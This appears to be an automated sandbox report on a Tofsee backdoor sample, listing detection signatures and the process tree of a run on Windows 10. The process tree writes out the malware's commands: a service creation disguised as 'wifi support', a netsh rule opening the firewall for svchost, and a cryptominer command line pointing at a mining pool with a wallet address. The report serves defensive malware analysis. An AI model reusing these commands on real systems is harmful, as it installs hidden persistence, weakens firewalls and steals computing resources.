Analysis

  • max time kernel
    151s
  • max time network
    156s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    11/11/2020, 11:27

General

  • Target
    3a8d8102f2e26112e04173c85b83cf5977e7da32ac224fbfda668bf066c50df3.exe
  • Size 12.5MB
  • Sample201111-4vgc98vs2s
  • SHA256 3a8d8102f2e26112e04173c85b83cf5977e7da32ac224fbfda668bf066c50df3
  • MD5 SHA1 SHA512

Malware Config

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Modifies service 2 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Program crash 19 IoCs
  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\3a8d8102f2e26112e04173c85b83cf5977e7da32ac224fbfda668bf066c50df3.exe
    "C:\Users\Admin\AppData\Local\Temp\3a8d8102f2e26112e04173c85b83cf5977e7da32ac224fbfda668bf066c50df3.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:508
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 508 -s 560
      2⤵
      • Program crash
      PID:2700
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 508 -s 684
      2⤵
      • Program crash
      PID:3024
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 508 -s 708
      2⤵
      • Program crash
      PID:1020
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 508 -s 768
      2⤵
      • Program crash
      PID:3808
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 508 -s 784
      2⤵
      • Program crash
      PID:2536
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 508 -s 800
      2⤵
      • Program crash
      PID:2492
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 508 -s 956
      2⤵
      • Program crash
      PID:2020
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\qtgvarc\
      2⤵
        PID:1308
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 508 -s 1000
        2⤵
        • Program crash
        PID:4008
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 508 -s 736
        2⤵
        • Program crash
        PID:1948
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\pbaozjrl.exe" C:\Windows\SysWOW64\qtgvarc\
        2⤵
          PID:3088
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 508 -s 1068
          2⤵
          • Program crash
          PID:4016
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 508 -s 1028
          2⤵
          • Program crash
          PID:3468
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create qtgvarc binPath= "C:\Windows\SysWOW64\qtgvarc\pbaozjrl.exe /d\"C:\Users\Admin\AppData\Local\Temp\3a8d8102f2e26112e04173c85b83cf5977e7da32ac224fbfda668bf066c50df3.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:3904
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 508 -s 1040
            2⤵
            • Program crash
            PID:1312
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 508 -s 1028
            2⤵
            • Program crash
            PID:2096
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description qtgvarc "wifi internet conection"
            2⤵
              PID:2080
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 508 -s 1116
              2⤵
              • Program crash
              PID:2468
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 508 -s 1096
              2⤵
              • Program crash
              PID:3948
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start qtgvarc
              2⤵
                PID:3500
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -u -p 508 -s 1056
                2⤵
                • Program crash
                PID:2464
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -u -p 508 -s 1048
                2⤵
                • Program crash
                PID:2936
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:1928
              • C:\Windows\SysWOW64\qtgvarc\pbaozjrl.exe
                C:\Windows\SysWOW64\qtgvarc\pbaozjrl.exe /d"C:\Users\Admin\AppData\Local\Temp\3a8d8102f2e26112e04173c85b83cf5977e7da32ac224fbfda668bf066c50df3.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:2532
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 2532 -s 584
                  2⤵
                  • Program crash
                  PID:692
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Deletes itself
                  • Drops file in System32 directory
                  • Modifies service
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  • Suspicious use of WriteProcessMemory
                  PID:2996
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o msr.pool.gntl.co.uk:40005 -u 5nFN8BzQ1qP3PkbVHj5ooXSENsHFHMAj51jbA7YySkuEH8nBDYWHhhFQjiwcVqb9H8Soz3YTG6SijYVz1ntV1TAa5qAMCwu+60000 -p x -k
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2300
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 2532 -s 600
                  2⤵
                  • Program crash
                  PID:1676

              Network

                    MITRE ATT&CK Enterprise v6

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads

                    memory/508-10-0x0000000004270000-0x0000000004271000-memory.dmp

                    memory/508-12-0x0000000004270000-0x0000000004271000-memory.dmp

                    memory/508-7-0x0000000004270000-0x0000000004271000-memory.dmp

                    memory/508-8-0x0000000004270000-0x0000000004271000-memory.dmp

                    memory/508-9-0x0000000004270000-0x0000000004271000-memory.dmp

                    memory/508-0-0x0000000002504000-0x0000000002505000-memory.dmp

                    memory/508-11-0x0000000004270000-0x0000000004271000-memory.dmp

                    memory/508-1-0x0000000004130000-0x0000000004131000-memory.dmp

                    memory/508-13-0x0000000004270000-0x0000000004271000-memory.dmp

                    memory/508-14-0x0000000004270000-0x0000000004271000-memory.dmp

                    memory/508-6-0x0000000004270000-0x0000000004271000-memory.dmp

                    memory/508-5-0x0000000004270000-0x0000000004271000-memory.dmp

                    memory/2532-24-0x0000000002DD0000-0x0000000002DD1000-memory.dmp

                    memory/2532-22-0x000000000233E000-0x000000000233F000-memory.dmp

                    memory/2996-25-0x0000000000820000-0x0000000000835000-memory.dmp

                    memory/2996-28-0x0000000004550000-0x000000000475F000-memory.dmp

                    memory/2996-29-0x00000000009B0000-0x00000000009B6000-memory.dmp

                    memory/2996-30-0x00000000009D0000-0x00000000009E0000-memory.dmp

                    memory/2996-31-0x0000000004DF0000-0x0000000004DF5000-memory.dmp

                    memory/2996-32-0x00000000090D0000-0x00000000094DB000-memory.dmp

                    memory/2996-33-0x0000000009620000-0x0000000009627000-memory.dmp